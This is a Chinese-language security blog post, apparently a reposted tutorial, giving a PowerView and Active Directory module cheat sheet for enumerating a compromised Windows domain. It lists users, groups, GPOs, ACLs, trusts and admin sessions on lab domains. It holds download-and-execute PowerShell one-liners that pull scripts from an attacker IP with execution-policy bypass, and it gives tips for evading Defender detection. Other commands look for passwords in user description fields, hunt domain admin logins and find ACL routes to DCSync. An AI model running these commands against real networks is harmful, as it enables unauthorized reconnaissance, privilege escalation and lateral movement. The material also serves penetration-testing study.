域信息枚举
2020-05-14 09:12:44 Author: xz.aliyun.com(查看原文) 阅读量:663 收藏

域内基本的信息枚举是拿到域内机子之后必不可少的一步,后续操作可以说完全依赖于信息枚举的程度

这里只针对域内信息进行枚举(域用户、域组、ACLs、GPO、OUs、信任关系、一些特殊的账户属性和文件......)

下面列举出Active Directory模块下和使用powerview两种方式进行域内枚举(powerview命令在前,AD的在后,以空行区分)实际情况中域控一般安装有Active Directory模块

Powerview项目地址:

Import-Module C:\Users\arksvc\Documents\powerview.ps1

ADModule项目地址,不需要安装RSAT即可使用AD模块:

使用dll导入:

Import-Module D:\ADModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.dll -Verbose

或者直接导入ActiveDirectory.ps1

iex (new-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/Import-ActiveDirectory.ps1');Import-ActiveDirectory

因为是微软签名的模块,所以ActiveDirectory能够达到一定程度的免杀效果、powerview直接被defender识别(powerview实际用起来更方便):

加载到内存执行(只能绕过powershell策略,而不能绕过杀软对powerview的检测)

powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/powerview.ps1');Get-NetDomainController"

0x02.1、当前域基本信息枚举

当前域:
Get-NetDomain (获取到域名、域控制器)

Get-ADDomain

列举其他域:

Get-NetDomain -Domain cascade.local

.

Get-ADDomain -Identity cascade.local

当前域sid:

Get-DomainSid

.

(Get-ADDomain).DomainSid

获取当前域策略:(只有powerview有这个模块) -----(系统最小/最大密码长度、Kerberos票据时效等)

Get-DomainPolicy
(Get-DomainPolicy)."System access"
(Get-DomainPolicy)."kerberos policy"

获取其他域策略:(只有powerview有这个模块)

Get-DomainPolicy -Domain  cascade.local
(Get-DomainPolicy -Domain cascade.local)."System access"

定位域控制器:(域控IP、Hostname、操作系统版本等信息)

Get-NetDomainController

.

Get-ADDomainController

定位其他域域控:

Get-NetDomainController -Domain cascade.local

.

Get-ADDomainController  -DomainName cascade.local -Discover

0x02.2、域内用户信息枚举

域用户信息

Get-NetUser
Get-NetUser -Username Administrator

.

Get-ADUser -Filter * -Properties *
Get-ADUser -Identity Administrato  -Properties *

用户属性信息:(灵活过滤,显示想要的信息)

Get-UserProperty
Get-UserProperty -Properties  pwdlastset  (用户最近一次设置密码时间)
Get-Userproperty -Properties badpwdcount   (用户尝试使用错误密码登录帐户的次数。值为0表示该值未知,【可尝试错误登录域中用户,然后查看badpwdcount是否增加,不增加的话存在爆破的可能性】)
Get-Userproperty -Properties logoncount(帐户成功登录的次数。值为0表示该值未知。)

.

Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Get-ADUser -Filter * -Properties * | select name,badpwdcount

查找属性中的用户特殊值
Discription 区域有时候会被管理员用于相当于备忘录的功能,能够得到不少有用的信息

Find-UserField -SearchField Description –SearchTerm “built”                 ###获取Built-in account
Find-UserField -SearchField Description –SearchTerm “pass”

.

Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description   
Get-ADUser -Filter 'Description -like "*pass*"' -Properties Description | select name,Description

0x02.3、域内机器信息枚举

获取域内机子信息:

Get-NetComputer
Get-NetComputer -OperatingSystem  "*server 2008*"  (探测特定操作系统机子)
Get-NetComputer -Ping  (ping探测存活主机)
Get-NetComputer -Fulldata

.

Get-ADComputer -Filter * -Proterties *
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter  * -Properties  DNSHostName | %{Test-Connection -Count 1 -Computer $_.DnsHostName}

0x02.4、域内组信息枚举

获取组信息:

Get-NetGroup 
Get-NetGroup -GroupName *admin* ###组名含有admin的组
Get-NetGroup  'Domian Admins' -Fulldata
Get-NetGroup  -domain cascade.local

.

Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name

列出组成员信息:

Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-NetGroup –UserName Administrator

.

Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership  -Identity administrator

列出目标机子组及成员信息:(需要管理员权限运行)

Get-NetLocalGroup -ComputerName    CASC-DC1.cascade.local  -Recurse                ###域控组上用户
Get-NetLocalGroup -ComputerName    CASC-DC1.cascade.local  -ListGroups         #域控上的组

目标机子登录用户信息:

Get-NetLoggedon -ComputerName    CASC-DC1.cascade.local       (目标机子上活跃用户,需要管理员权限)
Get-LoggedonLocal -ComputerName    CASC-DC1.cascade.local    (目标机子已登录用户,需要目标机子开启远程注册表功能)
Get-LastLoggedon -ComputerName    CASC-DC1.cascade.local        (目标机子最近登录用户,需要管理权+本机在目标机子开启远程注册表)

0x02.5、域内敏感文件枚举

当前域共享:

Invoke-ShareFinder -Verbose

敏感文件:

Invoke-FileFinder  -Verbose

文件服务:

Get-NetFileServer

0x02.6、GPO & OUs:

(GPO组策略对象可用于提权、后门、权限维持,利用GPO中的计划任务远程执行等)

Red Teamer GPO和OU指南

Group Policy组策略用于集中式管理域内计算机,通过配置组策略可以对域中的用户、用户组、计算机进行不同维度的管理,如安全配置、注册表配置、软件安装配置、开关机与登入登出管理等

GPO组策略对象用于存储这些配置策略(GPO由GPC(组策略容器)和GPT(组策略模板)组成)

OU:是“可用于将大多数其他对象和类出于管理目的组合在一起的通用容器”,组织通常会使用OU来组织基于部门和/或地理位置的实体

获取当前域GPO列表

Get-NetGPO
Get-NetGPO | select displayname
Get-NetGPO -ComputerName CASC-DC1.cascade.local  ##获取目标机器GPO
Get-NetGPOGroup  ###查找groups.xml中的用户
Find-GPOComputerAdmin –Computername  CASC-DC1.cascade.local   ###通过GPO查找目标机器有管理权限的用户
Find-GPOLocation -UserName arksvc   ###通过GPO查找xxxx用户在域内哪些机子有管理员权限

获取域OU:

Get-NetOU -Fulldata

.

Get-ADOrganizationalUnit -Filter * -Properties *

查询应用在某OU上的GPO:

Get-NetGPO -GPOname   '{322FEA29-156D-4476-8A06-1935A3525C1C}'       ###通过Get-NetOU获取到gplink(如上图)

0x02.7、ACL:

(可用于提权、如Exchange、Enterprise Key admins

对域对象有WriteDacl权限===>DCSync (通过为指定用户添加ACE实现)(ACL是一个ACE列表)

ACL是一组规则,用于定义哪些实体对特定AD对象具有哪些权限。这些对象可以是用户帐户,组,计算机帐户,域本身等,ACL分为SACL(System ACL)和DACL(Discretionanly ACL)

对象的ACL中,包含一个访问控制项(ACE),ACE定义了身份和在OU和/或降级对象上应用的相应权限。

通过下面的模型理解他们之间的关系

获得ACL的关联项:

Get-ObjectAcl -SamAccountName Administrator -ResolveGUIDs
Get-ObjectAcl -ADSPrefix 'CN=Administrator,CN=Users' -Verbos

Active Directory模块:

(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=cascade,DC=local').access

通过Ldap进行查询:

Get-ObjectAcl -ADSpath  'LDAP://CN=Administrator,CN=Users,DC=cascade,DC=local'  -ResolveGUIDs  -Verbos

查找ACEs:

Invoke-ACLScanner -ResolveGUIDs

通过特定路径查找ACLs

Get-PathAcl -Path  "\\CASC-DC1.cascade.local\\sysvol"

查找有权限修改ACL的用户

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

0x02.8、域信任枚举

Forest间的域课通过建立信任关系进行跨域访问(存在单向信任、双向信任、父子信任、树根信任以及外部信任)

攻击域信任的指南

Get-NetDomainTrust
Get-NetDomainTrust -Domain CASC-DC1.cascade.local

.

Get-ADTrust 
Get-ADTrust   -Identity CASC-DC1.cascade.local

林:

获取林详情:

Get-NetForest
Get-NetForest -Forest   htb.local

.

Get-ADForest
Get-ADForest -Identity htb.local

获取林内的域:

Get-NetForestDomain
Get-NetForestDomain -Foresr htb.local

.

(Get-ADForest).Domains

当前林目录:

Get-NetForestCatalog

林间信任:

Get-NetForestTrust

0x02.9、用户搜寻:

列出域中当前用户有权限的机器:

Find-LocalAdminAccess -Verbose

(这条命令向域控发出Get-NetComputer获取机器列表,然后在每台机器上执行Invoke-CheckLocalAdminAcess)
Find-LocalAdminAccess不能执行,可用WMI和powershell Remoting等远程管理工具代替探测,(Find-WMILocalAdminAccess.ps1)

查找域内所有机器本地管理员:

Invoke-EnumerateLocalAdmin    ###需要本地管理员权限

(这条命令向域控发出Get-NetComputer获取机器列表,然后在每台机器上执行Get-NetLocalGroup)

查找域管/特定用户/组登录过的机子:

Invoke-UserHunter
Invoke-UserHunter  -Stealth
Invoke-UserHunter  -UserName arksvc
Invoke-UserHunter  -GroupName  "RDP Users"

查找域管理员登录且当前用户有权限的机子

Invoke-UserHunter -CheckAccess

这里主要依赖于powershell对域进行信息枚举,从最开始先对域基本信息进行枚举、依借这些进一步枚举到域组、域用户、域策略、ACL、等关键信息,层层递进,最后信息整合,增大攻击面,为域内横向、域控提权提供必要的信息支撑。powershell的便捷和隐蔽性无疑是一大助力

看一些国外大牛的案例中,一些很难拿下的域控,最后通过这些收集的信息整合最后拼凑出一条路的案例直通DC的也有。

powerview功能丰富且便捷,但也由于太过于出名,早已经被加入黑名单,可自行修改函数尝试绕过。实在不行这里还有微软签名的Actice Directory供君选择

链接:
https://mlcsec.com/active-directory-domain-enumeration/#
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview
https://0xdarkvortex.dev/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/
https://blog.riskivy.com/fun_with_acl_and_gpo/


文章来源: http://xz.aliyun.com/t/7724
如有侵权请联系:admin#unsafe.sh